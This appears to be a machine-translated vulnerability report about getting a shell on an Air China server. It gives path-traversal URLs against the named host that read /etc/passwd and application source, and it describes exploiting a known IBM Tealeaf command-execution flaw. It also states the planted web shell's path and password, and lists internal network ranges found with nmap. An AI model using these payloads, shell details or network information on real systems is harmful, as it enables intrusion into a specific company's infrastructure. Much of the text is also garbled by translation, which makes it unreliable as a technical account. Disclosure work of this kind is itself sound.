A system vulnerability of Air China causes Getshell to affect host security.

A system vulnerability of Air China causes Getshell to affect host security.

Getshell caused by a system vulnerability of Air China in aviation security (Nmap can detect Intranet impacts on a large number of hosts)

A small vulnerability that causes a large vulnerability. The file contains commands for execution.

Problem domain: http://api.airchina.com.cn
 

When such a port is enabled, IBM's monitoring system has many features and all the device information is exposed.

Http://api.airchina.com.cn: 1790/
 

Then a file is found to contain the system file and the source code can be downloaded.

Http://api.airchina.com.cn: 1790/download. php? Version =.../../etc/passwd & file = privacy
 

 

Http://api.airchina.com.cn: 1790/download. php? Version =.../../usr/local/ctccap/ui/actions/delivery. inc & file = default

After reading the code, a command is executed.
 

I searched the IBM Tealeaf CX system online and found the command execution vulnerability. x \ 8. x, the current version is 9.X, and the Public exp is not easy to use. I just tried it with my friends and can still execute commands.
 

 

And then shell.

Address: http://api.airchina.com.cn: 1790/cxx. php

Password: c
 

 

 

I can detect the Intranet. I found that the curl_init function was not enabled, and the service could not be restarted. I didn't like to bounce back the proxy. I had to load the nmap.

Yes. The service type and port can all be used.
 

 

There are also a large number of Intranet CIDR blocks:

10.10.102.1

10.9.199.1

172.30.10.1

192.168.1.1

.....

It won't go deep .......